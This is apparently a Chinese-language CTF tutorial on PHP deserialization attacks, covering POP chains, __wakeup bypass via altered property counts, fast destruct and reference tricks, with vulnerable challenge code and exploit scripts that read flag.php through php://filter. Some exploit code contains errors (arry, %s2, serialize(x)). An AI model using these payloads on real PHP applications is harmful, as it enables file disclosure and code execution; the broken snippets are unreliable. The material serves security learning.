php反序列化

一、POP链

1.寻找POP链思路:

  • 寻找起点,也就是启动反序列化的地方------>unserialize函数

  • 寻找终点,反序列化想要执行的函数(造成危害的地方),重点找魔术方法

  • 找链接起点和终点的方法,将起点和终点连接起来(从终点往前推,什么可以触发终点),一层一层研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法

  • 根据我们要控制的属性,构造序列化数据,发起攻击

例题:

php 复制代码
<?php
error_reporting(0);
class Vox{
    protected $headset;
    public $sound;
    public function fun($pulse){
        include($pulse);
    }
    public function __invoke(){
        $this->fun($this->headset);
    }
}
class Saw{
    public $fearless;
    public $gun;
    public function __construct($file='index.php'){
        $this->fearless = $file;
        echo $this->fearless . ' You are in my range!'."<br>";
    }
    public function __toString(){
        $this->gun['gun']->fearless;
        return "Saw";
    }
    public function _pain(){
        if($this->fearless){
            highlight_file($this->fearless);
        }
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
            echo "Does it hurt? That's right";
            $this->fearless = "index.php";
        }
}
}
class Petal{
    public $seed;
    public function __construct(){
        $this->seed = array();
    }
    public function __get($sun){
        $Nourishment = $this->seed;
        return $Nourishment();
    }
}
if(isset($_GET['ozo'])){
    unserialize($_GET['ozo']);
}
else
{
    $Saw=new Saw('index.php');
    $Saw->_pain();
}
​
复制代码

分析:

  • 起点: unserialize($_GET['ozo']);参数可控

  • 终点:fun()函数

  • 连接起点终点,触发fun(),首先要触发invoke() ,触发invoke就要将对象当成函数调用,那么只有get(),触发get那么就要访问一个它不存在的属性,那么就可以确定到toString,让gun['gun']=Petal,那么触发toString,就确定到了wakeup,触发wakeup,就要用到unserialize($_GET['ozo']),这样起点和终点就连接起来了。

    复制代码
    unserialize($_GET['ozo'])
    Saw::__wakeup
    Saw::__toString,$this->gun['gun']=Petal
    Petal::__get,$Nourishment = $this->seed=Vox
    Vox::__invoke
    Vox::fun
  • 构造利用链

    复制代码
    $v=new Vox();
    $p=new Petal();
    $p->seed=$v;触发Vox
    $s=new Saw();
    $s->gun=arry('gun'=>$p);触发get
    $s2=new Saw();
    $s2->fearless=$s;触发toString
    echo urlencode(serialize(%s2));触发wakeup
    ​

    最后我们触发了fun(),这里是文件包含,如果直接传递我们的构造的反序列化数据则会执行flag.php,所以我们要使用php://filter伪协议来查看文件

    protected $headset='php://filter/convert.base64-encode/resource=flag.php';

  • exp

php 复制代码
<?php
error_reporting(0);
class Vox{
    protected $headset='php://filter/convert.base64-encode/resource=flag.php';
​
}
class Saw{
    public $fearless;
    public $gun;
}
class Petal{
    public $seed;
}
$v=new Vox();
$p=new Petal();
$p->seed=$v;触发Vox
$s=new Saw();
$s->gun=arry('gun'=>$p);
$s2=new Saw();
$s2->fearless=$s;
echo urlencode(serialize(%s2));

二、 畸形序列化字符串

1.认识畸形序列化字符串

畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。

应用领域:

  • 绕过 __wakeup()

  • 快速析构(fast destruct):绕过过滤函数,提前执行 __destruct

2.绕过__wakeup

由于使用unserialize()函数后会立即触发 wakeup ,为了绕过 wakeup 中的安全机制,可以用修改属性数量的方式绕过 __wakeup 方法。受影响版本:

php5.0.0 ~ php5.6.25

php7.0.0 ~ php7.0.10

绕过方法:

  • 反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:

    复制代码
    //标准序列化数据
    O:3:"BUU":2:{s:7:"correct";N;s:5:"input";R:2;}
    //修改为:
    O:3:"BUU":3:{s:7:"correct";N;s:5:"input";R:2;}
  • 增加真实属性的个数,比如:

    复制代码
    原始序列化数据
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
    增加真实属性的个数
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}
    或者:
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";s:1:"n":N;}}

php 复制代码
<?php
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}   
echo serialize(new dk)
?>

destruct魔术方法会自动执行,在程序执行结束时会销毁对象,触发destruct

触发wakeup

php 复制代码
<?php
​
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}
$a = 'O:2:"dk":1:{s:4:"name";N;}';
unserialize($a);
?>

使用使用unserialize时触发wakeup

绕过wakeup

php 复制代码
<?php
error_reporting(0);
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}
$a = 'O:2:"dk":2:{s:4:"name";N;}';
unserialize($a);
?>

更改属性数量达到饶过wakeup效果

3.快速析构

快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法( destruct() )。应用场景:某些题目需要利用 destruct 才能获取flag,但是 destruct 是在对象被销毁时才触发(执行顺序太靠后), destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发destruct 方法。

畸形字符串的构造

  • 改掉属性的个数

  • 删掉结尾的 }

例题

php 复制代码
<?php
class DemoX{
    protected $user;
    protected $sex;
    function __construct(){
        $this->user = "guest";
        $this->sex = "male";
    }
    function __wakeup(){
        $this->user = "Guest";
        $this->sex = "female";
    }
    function __toString(){
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
    }
    function __destruct()
    {
        echo $this;
    }
}
class Demo2{
    private $fffl4g;
    function __construct($file)
    {
        $this->fffl4g = $file;
    }
    function __toString(){
        return file_get_contents($this->fffl4g);
    }
}
if(!isset($_GET['poc'])){
    highlight_file("index.php");
}
else{
    $user = unserialize($_GET['poc']);
}

解题步骤:

  • 起点:user = unserialize(_GET['poc']);

  • 终点:Demo2->function __toString(){}

  • 连接起点终点

复制代码
$user = unserialize($_GET['poc'])
//绕过__wakeup,改变序列化数据属性数量
DemoX::__toString()
Demo2::__toString()
  • 构造利用链
复制代码
$x = new DemoX();
$x = serialize(x);//用这个正常的和下面url编码后的对比找出属性个数,进行更改绕过wakeup
echo $x. "\n";
echo urlencode($x);
  • exp
php 复制代码
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){
    $this->user = new Demo2;
    $this->sex = "xxx";
}
}
class Demo2{
    private $fffl4g="flag.php";
}
$x = new DemoX();
$x = serialize(x);
echo $x. "\n";
echo urlencode($x);

三、指针问题

1.指针

用 & 符号可以进行指针引用,类似于C语言中的指针。

例如:a=\&b;

例题

php 复制代码
<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}
​
class Flag{
    public $f;
    public $t1;
    public $t2;
​
    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }
​
    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}
$p = $_GET['P'];
if (isset($p)) {
	$p = unserialize($p);
} else {
	show_source(__FILE__);
	echo "NONONO";
}
​
?>

exp

php 复制代码
<?php
class Seri{
    public $alize;
  
}
​
class Flag{
    public $f;
    public $t1;
    public $t2;
​
   
}
​
?>
$f=new Alize;
$f->f='flag.php';
$f->t1=&$f->t2;//运用指针触发
$s=new Seri;
$s->alize=$f;
echo(urlencode(serialize($s)));
相关推荐
诸神黄昏EX1 小时前
Android 分区相关介绍
android
大白要努力!2 小时前
android 使用SQLiteOpenHelper 如何优化数据库的性能
android·数据库·oracle
Estar.Lee2 小时前
时间操作[取当前北京时间]免费API接口教程
android·网络·后端·网络协议·tcp/ip
Winston Wood2 小时前
Perfetto学习大全
android·性能优化·perfetto
Dnelic-5 小时前
【单元测试】【Android】JUnit 4 和 JUnit 5 的差异记录
android·junit·单元测试·android studio·自学笔记
Eastsea.Chen7 小时前
MTK Android12 user版本MtkLogger
android·framework
长亭外的少年15 小时前
Kotlin 编译失败问题及解决方案:从守护进程到 Gradle 配置
android·开发语言·kotlin
建群新人小猿17 小时前
会员等级经验问题
android·开发语言·前端·javascript·php
1024小神18 小时前
tauri2.0版本开发苹果ios和安卓android应用,环境搭建和最后编译为apk
android·ios·tauri
兰琛18 小时前
20241121 android中树结构列表(使用recyclerView实现)
android·gitee